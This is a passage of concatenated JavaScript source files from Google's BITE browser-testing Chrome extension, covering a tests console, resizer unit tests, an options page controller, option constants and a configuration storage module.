'Lists Available Tests', true); var rootFolder = chrome.extension.getURL(''); this.container_.setContentFromHtml(bite.client.Templates.testsConsole( {rootFolder: rootFolder, serverUrl: server})); this.renderTestsInfo_(user, server); this.setConsoleHandlers_(); }; /** * Renders information about the available tests. * @param {?string} user The user's e-mail. * @param {string} server The server url. * @private */ bite.client.TestsConsole.prototype.renderTestsInfo_ = function(user, server) { if (this.test_) { var testId = this.test_['test_id']; var redirectUrl = server + '/compat/redirect?test_id=' + testId; var targetUrl = goog.dom.getElementByClass('bite-console-target-url', this.container_.getRoot()); targetUrl.innerHTML = goog.dom.createDom( 'a', {'href': redirectUrl}, this.test_['test_url']).outerHTML; var reproSteps = goog.dom.getElement('bite-tests-console-repro-steps'); reproSteps.innerText = this.test_['verification_steps']; } else { var contentHtml = 'No tests are available. '; if (user) { contentHtml += 'You are logged in as ' + user + '. Not you? <a href="' + server + '">Please re-login.</a>'; } else { contentHtml += '<b><a href="' + server + '">Please login.</a></b>'; } var contentCanvas = goog.dom.getElement('bite-tests-content-canvas'); contentCanvas.innerHTML = contentHtml; } }; /** * Sets up the handlers for the tests console. * @private */ bite.client.TestsConsole.prototype.setConsoleHandlers_ = function() { var hideConsole = goog.dom.getElementByClass('bite-close-button', this.container_.getRoot()); if (hideConsole) { this.eventHandler_.listen(hideConsole, goog.events.EventType.CLICK, goog.bind(this.hideConsole, this)); } var passButton = goog.dom.getElement('bite-tests-toolbar-button-pass'); if (this.test_ && passButton) { this.eventHandler_.listen(passButton, goog.events.EventType.CLICK, goog.bind(this.confirmAction_, this, Bite.Constants.TestResult.PASS)); } else if (passButton) { goog.dom.classes.swap(passButton, 'bite-toolbar-button', 'bite-toolbar-button-disabled'); } var failButton = goog.dom.getElement('bite-tests-toolbar-button-fail'); if (this.test_ && failButton) { this.eventHandler_.listen(failButton, goog.events.EventType.CLICK, goog.bind(this.confirmAction_, this, Bite.Constants.TestResult.FAIL)); } else if (failButton) { goog.dom.classes.swap(failButton, 'bite-toolbar-button', 'bite-toolbar-button-disabled'); } var skipButton = goog.dom.getElement('bite-tests-toolbar-button-skip'); if (this.test_ && skipButton) { this.eventHandler_.listen(skipButton, goog.events.EventType.CLICK, goog.bind(this.confirmAction_, this, Bite.Constants.TestResult.SKIP)); } else if (skipButton) { goog.dom.classes.swap(skipButton, 'bite-toolbar-button', 'bite-toolbar-button-disabled'); } var newBugButton = goog.dom.getElement('bite-tests-toolbar-button-new-bug'); if (newBugButton) { this.eventHandler_.listen(newBugButton, goog.events.EventType.CLICK, goog.bind(this.startNewBugHandler_, this)); } }; /** * Handles starting a new bug. * @private */ bite.client.TestsConsole.prototype.startNewBugHandler_ = function() { chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.START_NEW_BUG}); }; /** * Called to show the confirmation screen to the user. * @param {Bite.Constants.TestResult} result Test result. * @private */ bite.client.TestsConsole.prototype.confirmAction_ = function(result) { var messageDiv = goog.dom.createDom('div'); if (result == Bite.Constants.TestResult.PASS || result == Bite.Constants.TestResult.FAIL) { messageDiv.innerHTML = '<b>Confirm Test Results:' + '</b><br><b>URL</b>: ' + this.test_['test_url']; if (result == Bite.Constants.TestResult.PASS) { messageDiv.innerHTML += '<br><b>Result:</b>' + '<span style="color:green; margin: 4px"> PASS</span><br>'; } else { messageDiv.innerHTML += '<br><b>Result:</b><span style="color:' + 'red; margin: 4px"> FAIL</span><br>'; var bugsArea = goog.dom.createDom( goog.dom.TagName.DIV, {'style': 'display:block'}); goog.dom.appendChild(bugsArea, goog.dom.createDom( goog.dom.TagName.LABEL, {'for': 'failure_bugs'}, goog.dom.createTextNode('Bug Ids (eg: 1245, 1223): '))); goog.dom.appendChild(bugsArea, goog.dom.createDom( goog.dom.TagName.INPUT, {'type': 'text', 'id': 'failure_bugs', 'style': 'display:block'})); var commentArea = goog.dom.createDom( goog.dom.TagName.DIV, {'style': 'display:block'}); goog.dom.appendChild(commentArea, goog.dom.createDom( goog.dom.TagName.LABEL, {'for': 'failure_comment'}, goog.dom.createTextNode( 'Comments (eg: fails on first load only): '))); goog.dom.appendChild(commentArea, goog.dom.createDom( goog.dom.TagName.TEXTAREA, {'id': 'failure_comment', 'style': 'display:block'})); goog.dom.appendChild(messageDiv, bugsArea); goog.dom.appendChild(messageDiv, commentArea); } } else if (result == Bite.Constants.TestResult.SKIP) { messageDiv.innerHTML = '<b>Confirm skip test.<b>'; } else { console.error('Unrecognized result: ' + result); return; } messageDiv.appendChild(goog.dom.createDom( goog.dom.TagName.INPUT, {'type': 'button', 'value': 'Submit', 'onclick': goog.bind(this.logTestResult_, this, result)})); messageDiv.appendChild(goog.dom.createDom( goog.dom.TagName.INPUT, {'type': 'button', 'value': 'Cancel', 'onclick': goog.bind(this.cancelAction_, this)})); var contentCanvas = goog.dom.getElement('bite-tests-content-canvas'); contentCanvas.innerHTML = ''; contentCanvas.appendChild(messageDiv); }; /** * Cancels the action confirmation screen. * @private */ bite.client.TestsConsole.prototype.cancelAction_ = function() { this.requestUpdate_(); }; /** * Logs the test result back to the server. * @param {Bite.Constants.TestResult} result Test result. * @private */ bite.client.TestsConsole.prototype.logTestResult_ = function(result) { var params = {action: Bite.Constants.HUD_ACTION.LOG_TEST_RESULT, result: result, testId: this.test_['test_id']}; if (result == Bite.Constants.TestResult.FAIL) { var comment = goog.dom.getElement('failure_comment').value; var bugs = goog.dom.getElement('failure_bugs').value; params['comment'] = comment; params['bugs'] = bugs; } var contentCanvas = goog.dom.getElement('bite-tests-content-canvas'); contentCanvas.innerText = 'Submitting result, please wait...'; chrome.extension.sendRequest(params, this.requestUpdate_); }; /** * Requests that the background script update the test data for this tab. * @private */ bite.client.TestsConsole.prototype.requestUpdate_ = function() { chrome.extension.sendRequest({action: Bite.Constants.HUD_ACTION.UPDATE_DATA}); };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Tests for the BITE resizer. * * @author ralphj@google.com (Julie Ralph) */ goog.require('goog.dom'); goog.require('goog.events'); goog.require('goog.math.Size'); goog.require('goog.style'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.events'); var stubs_ = new goog.testing.PropertyReplacer(); var sandbox; var container; function getViewportSize() { return new goog.math.Size(1000, 1000); } function setUp() { stubs_.set(goog.dom, 'getViewportSize', getViewportSize); sandbox = goog.dom.createDom('div', { 'id': 'sandbox', 'style': 'position:fixed;top:0px;left:0px;width:1000px;height:1000px'}); goog.dom.appendChild(document.body, sandbox); container = goog.dom.createDom('div', { 'id': 'target', 'style': 'position:fixed;top:100px;left:101px;width:300px;height:301px'}); sandbox.appendChild(container); } function tearDown() { goog.dom.removeNode(container); container = null; sandbox = null; stubs_.reset(); goog.events.removeAll(); } function testUpdate() { var resizer = new bite.client.Resizer(container, container); assertEquals(300, resizer.getSize().width); assertEquals(301, resizer.getSize().height); assertEquals(101, resizer.getPosition().x); assertEquals(100, resizer.getPosition().y); resizer.updateSize({width: 400, height: 500}); resizer.updatePosition({x: 11, y: 12}); assertEquals(400, resizer.getSize().width); assertEquals(500, resizer.getSize().height); assertEquals(11, resizer.getPosition().x); assertEquals(12, resizer.getPosition().y); assertEquals('400px', container.style.width); assertEquals('500px', container.style.height); assertEquals('11px', container.style.left); assertEquals('12px', container.style.top); } function testDrag() { var resizer = new bite.client.Resizer(container, container); goog.testing.events.fireMouseDownEvent( container, goog.events.BrowserEvent.MouseButton.LEFT, {x: 450, y: 450}); assertEquals('100px', container.style.top); assertEquals('101px', container.style.left); goog.testing.events.fireMouseMoveEvent( container, {x: 460, y: 470}); assertEquals('120px', container.style.top); assertEquals('111px', container.style.left); goog.testing.events.fireMouseUpEvent( container, {x: 460, y: 470}); assertEquals('120px', container.style.top); assertEquals('111px', container.style.left); } function testSEResize() { var resizer = new bite.client.Resizer(container, container); var seCorner = goog.dom.getElementByClass('se-resizer'); goog.testing.events.fireMouseDownEvent( seCorner, goog.events.BrowserEvent.MouseButton.LEFT, {x: 800, y: 800}); goog.testing.events.fireMouseMoveEvent( seCorner, {x: 810, y: 820}); goog.testing.events.fireMouseUpEvent( seCorner, {x: 810, y: 820}); assertEquals('100px', container.style.top); assertEquals('101px', container.style.left); assertEquals('310px', container.style.width); assertEquals('321px', container.style.height); } function testNWResize() { var resizer = new bite.client.Resizer(container, container); var nwCorner = goog.dom.getElementByClass('nw-resizer'); goog.testing.events.fireMouseDownEvent( nwCorner, goog.events.BrowserEvent.MouseButton.LEFT, {x: 800, y: 800}); goog.testing.events.fireMouseMoveEvent( nwCorner, {x: 790, y: 780}); goog.testing.events.fireMouseUpEvent( nwCorner, {x: 790, y: 780}); assertEquals('80px', container.style.top); assertEquals('91px', container.style.left); assertEquals('310px', container.style.width); assertEquals('321px', container.style.height); }
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * BITE options/settings page controller. The BITE Options Page provides an * interface for BITE users to change different configuration details about the * BITE tool. * * @author alexto@google.com (Alexis O. Torres) * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.options.Page'); goog.require('bite.LoginManager'); goog.require('bite.options.constants'); goog.require('bite.options.data'); goog.require('bite.options.private_constants'); goog.require('bite.options.private_data'); goog.require('goog.Timer'); goog.require('goog.date.relative'); goog.require('goog.dom'); goog.require('goog.events'); goog.require('goog.events.EventHandler'); goog.require('goog.object'); /** * Provides the class to maintain state for the page. * @constructor * @export */ bite.options.Page = function() { /** * Records which configuration settings have changed. * @type {!Object} * @private */ this.changed_ = {}; /** * The handler reference used to handle chrome extension request messages. * A reference is required for cleanup. * @type {Function} * @private */ this.handleOnRequest_ = goog.bind(this.onRequestHandler_, this); /** * A flag representing whether or not this object has been destroyed. * @type {boolean} * @private */ this.isDestroyed_ = false; /** * A flag used to denote whether or not this object is ready for use. * @type {boolean} * @private */ this.isReady_ = false; /** * Manages event listeners created by this page. * @type {goog.events.EventHandler} * @private */ this.eventHandler_ = new goog.events.EventHandler(); /** * A timer used to refresh dynamic elements such as last saved time. When * the Page object is destroyed, the timer will be disposed. * @type {goog.Timer} * @private */ this.refreshTimer_ = new goog.Timer(bite.options.Page.REFRESH_RATE_); }; /** * The options page DOM Element names. * * Some of the keys are values from bite.options.constants.Id instead of * directly accessing the enum due to the fact that Closure can not handle * keys in an enum being set from values in a different enum. They also can't * handle non-capitalized, quoted strings as keys for enums. Thus this type * is Object out of necessity. * @type {!Object} * @private */ bite.options.Page.ElementName_ = { 'project': 'bug-project', 'recording': 'bug-recording', 'screenshot': 'bug-screenshot', 'state': 'bug-state', 'uiBinding': 'bug-ui-binding', 'serverChannel': 'server-channel', 'autoRecord': 'auto-record', 'featuresBugs': 'features-bugs', 'featuresRpf' : 'features-rpf', 'featuresTests' : 'features-tests', 'featuresClose': 'features-close', 'featuresReport': 'features-report', SAVE_BUTTON: 'save-button', SAVE_TIME: 'save-time', USERNAME: 'user' }; /** * Map option value to configuration value. * @type {Object} * @private */ bite.options.Page.MapValues_ = { 'dev': bite.options.constants.ServerChannelOption.DEV, 'rel': bite.options.constants.ServerChannelOption.RELEASE }; /** * The refresh rate used with a timer to determine when dynamic elements * should be updated (refreshed). The rate is in milliseconds. * @type {number} * @private */ bite.options.Page.REFRESH_RATE_ = 5000; /** * Enables/disables the Save button and updates it's text. * @param {boolean} enable Whether or not to enable the button. * @private */ bite.options.Page.prototype.enableSave_ = function(enable) { var saveButtonId = bite.options.Page.ElementName_.SAVE_BUTTON; var saveButton = goog.dom.getElement(saveButtonId); if (!saveButton) { // Do nothing if the DOM Element is not found, the error should have been // recorded in the initialization. return; } saveButton.disabled = !enable; saveButton.innerText = enable ? 'Save Now' : 'Saved'; }; /** * Handle saving of a new configuration. * @private */ bite.options.Page.prototype.handleSave_ = function() { this.enableSave_(false); // Assumes that the changed_ Object will only ever have iterable items for // those option values that are stored/removed. // If the changed_ object is empty, do nothing. if (goog.object.isEmpty(this.changed_)) { return; } var usernameId = bite.options.Page.ElementName_.USERNAME; var usernameElement = goog.dom.getElement(usernameId); var username = usernameElement ? usernameElement.innerText : undefined; // Set the cached values for the configuration to the local instance managed // by this object/UI. bite.options.data.updateConfiguration(this.changed_, username); // Let everyone know that the entire configuration has changed. this.notifyChange_(); this.refreshInterface_(); this.changed_ = {}; }; /** * Handles the onselect event for option elements and updates the configuration * with the appropriate value. * @param {string} key A key used to identify the option. * @param {Event} event The event caused when the select element changes. * @private */ bite.options.Page.prototype.handleSelect_ = function(key, event) { var value = event.target.value; value = this.processOption_(key, value); this.updateOption_(key, value); }; /** * Handles a change in the value of a checkbox. * @param {string} key A key used to identify the option. * @param {Element} checkbox The checkbox element. * @param {Event} event The event. * @private */ bite.options.Page.prototype.handleCheckbox_ = function(key, checkbox, event) { var value = 'false'; if (checkbox.checked) { value = 'true'; } this.updateOption_(key, value); }; /** * Initializes the page by validating DOM Elements, initializing the page's * events and handlers. It also retrieves the current configuration and * updates the interface to reflect it. * @param {function(boolean)=} opt_callback An optional callback that will * be fired when initialization is complete. * @export */ bite.options.Page.prototype.init = function(opt_callback) { if (this.isReady() || this.isDestroyed()) { // Do not allow initialization if the object is already initialized or // has been destroyed. return; } this.initDOMElements_(); this.initData_(); this.refreshInterface_(); // Start the refresh timer so that the interface will update as things change // such as last saved time. this.refreshTimer_.start(); // Once everything is ready, hookup the extension onRequest handler that // listens to configuration updates from other parts of the application. // handleOnRequest is a goog.bind function reference. chrome.extension.onRequest.addListener(this.handleOnRequest_); this.isReady_ = true; }; /** * Sets up handling for the object, the refresh timer, and DOM Elements. It * also verifies DOM Elements are present and does any other setup related * functions. * @private */ bite.options.Page.prototype.initDOMElements_ = function() { var type, handler, listenId; // Retrieve the data elements from the HTML and setup their event handlers. for (var key in bite.options.constants.Id) { var id = bite.options.constants.Id[key]; var elementName = bite.options.Page.ElementName_[id]; var element = goog.dom.getElement(elementName); if (!element) { // Continue processing the handler setup if a element is missing. console.log('ERROR: Failed to find data element (' + elementName + ').'); continue; } // Figure out if it's a select or a checkbox input. if (element.tagName == 'SELECT') { this.eventHandler_.listen(element, goog.events.EventType.CHANGE, goog.bind(this.handleSelect_, this, id)); } else if (element.tagName == 'INPUT' && element.type == 'checkbox') { this.eventHandler_.listen( element, goog.events.EventType.CLICK, goog.bind(this.handleCheckbox_, this, id, element)); } else { console.log('ERROR: Element of unknown input type (' + elementName + ').'); continue; } } // Setup the Save Button var saveButtonId = bite.options.Page.ElementName_.SAVE_BUTTON; var saveButton = goog.dom.getElement(saveButtonId); if (saveButton) { type = goog.events.EventType.CLICK; handler = goog.bind(this.handleSave_, this); this.eventHandler_.listen(saveButton, type, handler); this.enableSave_(false); } else { // Continue processing the handler setup if a element is missing. console.log('ERROR: Failed to find save button element (' + saveButtonId + ').'); } // Validate the presence of the last save time Element. var saveTimeId = bite.options.Page.ElementName_.SAVE_TIME; var saveTimeElement = goog.dom.getElement(saveTimeId); if (!saveTimeElement) { // Continue processing the handler setup if a element is missing. console.log('ERROR: Failed to find last saved time element (' + saveTimeId + ').'); } // Validate the presence of the user name Element. var usernameId = bite.options.Page.ElementName_.USERNAME; var usernameElement = goog.dom.getElement(usernameId); if (!usernameElement) { // Continue processing the handler setup if a element is missing. console.log('ERROR: Failed to find username element (' + usernameId + ').'); } // Setup the refresh timer to update the last saved time. type = goog.Timer.TICK; handler = goog.bind(this.refreshInterface_, this); this.eventHandler_.listen(this.refreshTimer_, type, handler); }; /** * Retrieves the current configuration and sets the data values to its * current value. * @private */ bite.options.Page.prototype.initData_ = function() { var configuration = bite.options.data.getCurrentConfiguration(); // Retrieve the data elements from the HTML and setup their event handlers. for (var key in bite.options.constants.Id) { // Retrieve id used to lookup the DOM Element's name. var id = bite.options.constants.Id[key]; if (!(id in configuration)) { continue; } this.refreshData_(id, configuration[id]); } }; /** * Returns whether or not this object is destroyed. * @return {boolean} Destroyed or not. */ bite.options.Page.prototype.isDestroyed = function() { return this.isDestroyed_; }; /** * Returns whether or not this object is ready for use. * @return {boolean} Ready or not. */ bite.options.Page.prototype.isReady = function() { return this.isReady_; }; /** * Send broadcast message letting others know what part of the configuration * has changed. * @private */ bite.options.Page.prototype.notifyChange_ = function() { // Construct message data. var data = {}; data['action'] = bite.options.constants.Message.UPDATE; data[bite.options.constants.MessageData.DATA] = this.changed_; // Broadcast message to the extension. No response is desired. chrome.extension.sendRequest(data, goog.nullFunction); }; /** * Handles messages sent from others related to the configuration data. * @param {!Object} request The data sent. * @param {MessageSender} sender An object containing information about the * script context that sent the request. * @param {function(!*): void} response Optional function to call when the * request completes; only call when appropriate. * @private */ bite.options.Page.prototype.onRequestHandler_ = function(request, sender, response) { // TODO (jasonstredwick): Figure out how to generate a common set of // message passing values to cross all of BITE and potentially others. // (possibly in testing/chronos/common?) var owner = request['owner']; var action = request['action']; if (owner != bite.options.constants.OWNER || !action) { return; } switch (action) { case bite.options.constants.Message.UPDATE: var data = request[bite.options.constants.MessageData.DATA]; // Look through all the valid options and update the ones that were // supplied with the data. for (var key in bite.options.constants.Id) { var id = bite.options.constants.Id[key]; if (id in data) { this.refreshData_(id, data[id]); this.updateOption_(id, data[id]); } } break; } }; /** * Process the option that was selected from the UI in case it does not map * directly to the configuration value. * @param {string} id The option id. * @param {string} value The value that was chosen. * @return {string} The processed version of the value. * @private */ bite.options.Page.prototype.processOption_ = function(id, value) { if (!goog.object.containsValue(bite.options.constants.Id, id)) { console.log('ERROR: Update option failed due to a bad key: ' + id + '.'); return value; } id = /** @type {bite.options.constants.Id} */ (id); switch (id) { case bite.options.constants.Id.SERVER_CHANNEL: // Map the option interface id to the configuration value. Assumes that // the map is managed and all mapped values are present and correct. return bite.options.Page.MapValues_[value]; } return value; }; /** * Process the option that was selected from the UI in case it does not map * directly to the configuration value. * @param {bite.options.constants.Id} id The option id. * @param {string} value The value that was chosen. * @return {string} The processed version of the value. * @private */ bite.options.Page.prototype.processOptionReverse_ = function(id, value) { switch (id) { case bite.options.constants.Id.SERVER_CHANNEL: // Map the configuration value to the UI option value. Assumes that // the mapped values are present and correct. switch (value) { case bite.options.constants.ServerChannelOption.DEV: return 'dev'; case bite.options.constants.ServerChannelOption.RELEASE: return 'rel'; case bite.options.constants.ServerChannelOption.EXTERNAL: return 'ext'; case bite.options.constants.ServerChannelOption.BETA: return 'beta'; } break; } return value; }; /** * Refresh DOM Element selections with values from the given data. * @param {string} id The option to update. * @param {string} value The new value. * @private */ bite.options.Page.prototype.refreshData_ = function(id, value) { if (!goog.object.containsValue(bite.options.constants.Id, id)) { console.log('ERROR: Refresh data failed due to a bad key ' + id + '.'); return; } id = /** @type {bite.options.constants.Id} */ (id); var elementName = bite.options.Page.ElementName_[id]; var element = goog.dom.getElement(elementName); if (!element) { // Continue processing the handler setup if a element is missing. // An error is not recorded here because it would have been recorded // first in this.setup_. return; } if (element.tagName == 'SELECT') { element.value = this.processOptionReverse_(id, value); } else if (element.tagName == 'INPUT' && element.type == 'checkbox') { if (value == 'true') { element.checked = true; } else { element.checked = false; } } }; /** * Refreshes the non-data portion of the interface; updates the last saved * information and the username. * @private */ bite.options.Page.prototype.refreshInterface_ = function() { var saveTimeId = bite.options.Page.ElementName_.SAVE_TIME; var saveTimeElement = goog.dom.getElement(saveTimeId); if (saveTimeElement) { // Shortcut to the Key enum. var keys = bite.options.private_constants.Key; // Retrieve the cached last saved data. var timestamp = bite.options.private_data.get(keys.ADMIN_LAST_SAVE_TIME); var lastuser = bite.options.private_data.get(keys.ADMIN_LAST_SAVE_USER); // Prepare the last saved data information string. var lastSaveInfo = ''; if (timestamp && lastuser) { // Prepare timestamp by converting it to a delta time relative to now. var millisec = /** @type {number} */ (timestamp); // Converts the millisecond time to a formatted time relative to now. // If the diff is too old it will return an empty string. var timeDiff = goog.date.relative.format(millisec); if (!timeDiff) { // If the date is old enough, format relative to days. timeDiff = goog.date.relative.formatDay(millisec); } lastSaveInfo = 'Updated ' + timeDiff + ' by ' + lastuser; } saveTimeElement.innerText = lastSaveInfo; } // Begin the refresh of the current user. var usernameId = bite.options.Page.ElementName_.USERNAME; var usernameElement = goog.dom.getElement(usernameId); if (usernameElement) { // Retrieve the current user asynchronously. var callback = goog.bind(this.refreshUsername_, this, usernameElement); bite.LoginManager.getInstance().getCurrentUser(callback); } }; /** * Refreshes the username based on the current value stored by the * LoginManager. * @param {!Element} element The username DOM Element. * @param {Object} data The user related data with the following information: * {success: boolean, url: string, username: string}. * @private */ bite.options.Page.prototype.refreshUsername_ = function(element, data) { var success = data['success']; var username = data['username']; username = username.replace(/[@]google[.]com$/, ''); // Make sure that we have valid values before updating the configuration. if (success && username && element.innerText != username) { element.innerText = username; // Shortcut to the Key enum. var keys = bite.options.private_constants.Key; bite.options.private_data.update(keys.ADMIN_LAST_SAVE_USER, username); } }; /** * Destroys and cleans up the object when it is no longer needed. It will * unhook all listeners and perform other related cleanup functions. * Essentially, this object will no longer be functional after a call to this * function. */ bite.options.Page.prototype.stop = function() { if (this.isDestroyed()) { return; } // Stop refresh timer and destroy it by removing its only reference // maintained by this object, which created it. this.refreshTimer_.stop(); this.refreshTimer_.dispose(); // Cleanup all the Listeners. this.eventHandler_.removeAll(); // Remove chrome extension's request listener. if (chrome.extension.onRequest.hasListener(this.handleOnRequest_)) { chrome.extension.onRequest.removeListener(this.handleOnRequest_); } // Clean storage objects. this.changed_ = {}; // Set a flag so the object can't be destroyed multiple times. this.isDestroyed_ = true; }; /** * Updates a single option with the given value. * @param {string} key A key used to identify the option. * @param {string} value The new value for the option. * @private */ bite.options.Page.prototype.updateOption_ = function(key, value) { if (!goog.object.containsValue(bite.options.constants.Id, key)) { console.log('ERROR: Update option failed due to a bad key ' + key + '.'); return; } key = /** @type {bite.options.constants.Id} */ (key); var cachedValue = bite.options.data.get(key); // If the user selected the same value as what is cached then we don't want // to mark this option as changed. Otherwise, remember the newly selected // value. if (value == cachedValue) { delete this.changed_[key]; } else { this.changed_[key] = value; } // After potentially removing/adding a change, the save button needs to be // updated to reflect this information. The button should be disabled if // there are no changes. if (goog.object.isEmpty(this.changed_)) { this.enableSave_(false); } else { this.enableSave_(true); } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Defines BITE options/settings constants including ids, * messaging, and option settings. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.options.constants'); /** * Options key values. * @enum {string} */ bite.options.constants.Id = { BUG_PROJECT: 'project', BUG_RECORDING: 'recording', BUG_SCREENSHOT: 'screenshot', BUG_STATE: 'state', BUG_UI_BINDING: 'uiBinding', SERVER_CHANNEL: 'serverChannel', AUTO_RECORD: 'autoRecord', FEATURES_BUGS: 'featuresBugs', FEATURES_RPF: 'featuresRpf', FEATURES_TESTS: 'featuresTests', FEATURES_CLOSE: 'featuresClose', FEATURES_REPORT: 'featuresReport' }; /** * The owner string to specifiy that messages come from the configuration data. * @type {string} */ bite.options.constants.OWNER = 'bite.options'; /** * Messages to notify configuration data users. * @enum {string} */ bite.options.constants.Message = { UPDATE: 'update' }; /** * Possible data sent with the various messages. * @enum {string} */ bite.options.constants.MessageData = { DATA: 'data' // The data will be an Object.<bite.option.constants.Id, string> }; /** * Bug project option pulldown values. * @enum {string} */ bite.options.constants.ProjectOption = { ALL: 'all', GEO: 'geo', WEBSTORE: 'chromewebstore', NOT_TRASH: 'nottrash', TRASH: 'trash' }; /** * Bug state option pulldown values. * @enum {string} */ bite.options.constants.StateOption = { ACTIVE: 'active', ALL: 'all', CLOSED: 'closed', RESOLVED: 'resolved' }; /** * Three-way option pulldown values. * @enum {string} */ bite.options.constants.ThreeWayOption = { ALL: 'all', NO: 'no', YES: 'yes' }; /** * BITE's server list. * @enum {string} */ bite.options.constants.ServerChannelOption = { DEV: 'https://bite-playground-dev.appspot.com', RELEASE: 'https://bite-playground.appspot.com' };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This function provides functions for manipulating the BITE * configuration. The functions allow get/set of individual configuration * options or as a group. It also allows users to access default option * values and validate individual option values. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.options.data'); goog.require('bite.options.constants'); goog.require('bite.options.private_constants'); goog.require('goog.date.DateTime'); goog.require('goog.object'); /** * Returns an object containing the default configuration where each setting's * key is from bite.options.constants.Id. * @return {!Object} The default configuration. */ bite.options.data.getAllDefaults = function() { // Returns the entire Default enum as the Object. return bite.options.private_constants.Default; }; /** * Returns the default value for the requested option. * @param {bite.options.constants.Id} id The option to lookup. * @return {string} The default value. */ bite.options.data.getDefault = function(id) { // Retrieve the id value used as a key in the Default enum. return bite.options.private_constants.Default[id]; }; /** * Returns an object containing the current configuration where each setting's * key is from bite.options.constants.Id. * @return {!Object} The current configuration. */ bite.options.data.getCurrentConfiguration = function() { // Retrieves all option values (or default value if not set) and adds them // to the data Object, which is then returned. var data = {}; for (var key in bite.options.constants.Id) { var id = bite.options.constants.Id[key]; // Get current value or its default if not set. data[id] = bite.options.data.get(id); } return data; }; /** * Returns the current setting for the specified option. * @param {bite.options.constants.Id} id The option to lookup. * @return {string} The current value. */ bite.options.data.get = function(id) { // Determine the cache's key for the given id. var cacheKey = bite.options.private_constants.Key[id]; // Return the cached value or the default if there is no cache value. return /** @type {string} */ (goog.global.localStorage.getItem(cacheKey)) || bite.options.data.getDefault(id); }; /** * Uses the given data to override the configuration with the given values. * Invalid keys are ignored, but invalid data will result in an exception * being thrown (in string form). * @param {!Object} data The data used to override the current configuration. * @param {string=} opt_username The name of the user making the change. If * not supplied then it is set to the default username. */ bite.options.data.updateConfiguration = function(data, opt_username) { // Loop over all possible configuration options. for (var key in bite.options.constants.Id) { var id = bite.options.constants.Id[key]; // If the current option is not present in the data then move to the next // option. if (!(id in data)) { continue; } // Update the given option with the given value. Update can throw an // exception if the data value being passed in is not valid. bite.options.data.update(id, data[id], opt_username); } }; /** * Updates the given option with the given value. An invalid value will * result in an exception being thrown (in string form). * @param {bite.options.constants.Id} id The option to update. * @param {string} value The option's new value if valid. * @param {string=} opt_username The name of the user making the change. If * not supplied then it is set to the default username. */ bite.options.data.update = function(id, value, opt_username) { // Before setting the current option's value, validate the given value. // If validation fails an exception will be thrown (in string form). // Otherwise, the function returns a processed version of the value // suitable for caching. var processedValue = bite.options.data.validate(id, value); // Determine the username to use to mark the most recent update of the // configuration. var username = opt_username || bite.options.private_constants.DEFAULT_USERNAME; // Determine the time stamp to use to make the most recent update of the // configuration. var date = new goog.date.DateTime(); var timestamp = date.getTime(); // Shortcut to the Key enum that contains the each setting's cache key. var keys = bite.options.private_constants.Key; // Cache the new option's value and a signature to mark who and when the // configuration was updated. goog.global.localStorage.setItem(keys[id], processedValue); goog.global.localStorage.setItem(keys.ADMIN_LAST_SAVE_TIME, timestamp); goog.global.localStorage.setItem(keys.ADMIN_LAST_SAVE_USER, username); }; /** * Validates the given value for the given option. If the value is invalid * then an exception will be thrown (in string form). * @param {bite.options.constants.Id} id The option to lookup. * @param {string} value The value to validate. * @return {string} The processed version of the value. */ bite.options.data.validate = function(id, value) { // By defaulting to empty, any that make it throw will automatically return // false for the containsValue test. var enumToTest = {}; // Process each of the options to verify the value is valid. Each option // will either return the processed value or throw an exception. switch (id) { case bite.options.constants.Id.BUG_RECORDING: case bite.options.constants.Id.BUG_SCREENSHOT: case bite.options.constants.Id.BUG_UI_BINDING: bite.options.data.validateEnum_( bite.options.constants.ThreeWayOption, value, id); break; case bite.options.constants.Id.BUG_STATE: bite.options.data.validateEnum_( bite.options.constants.StateOption, value, id); break; case bite.options.constants.Id.BUG_PROJECT: bite.options.data.validateEnum_( bite.options.constants.ProjectOption, value, id); break; case bite.options.constants.Id.SERVER_CHANNEL: bite.options.data.validateEnum_( bite.options.constants.ServerChannelOption, value, id); break; case bite.options.constants.Id.AUTO_RECORD: case bite.options.constants.Id.FEATURES_BUGS: case bite.options.constants.Id.FEATURES_RPF: case bite.options.constants.Id.FEATURES_REPORT: case bite.options.constants.Id.FEATURES_CLOSE: case bite.options.constants.Id.FEATURES_TESTS: bite.options.data.validateCheckbox_(value, id); break; default: // If the id is invalid throw an exception. throw 'ERROR: Validation failed - invalid option ' + bite.options.constants.Id[id] + '.'; } return value; }; /** * Validates an enum. * @param {Object} enumToTest The enum that the value should be in. * @param {string} value The value to validate. * @param {bite.options.constants.Id} id The option. * 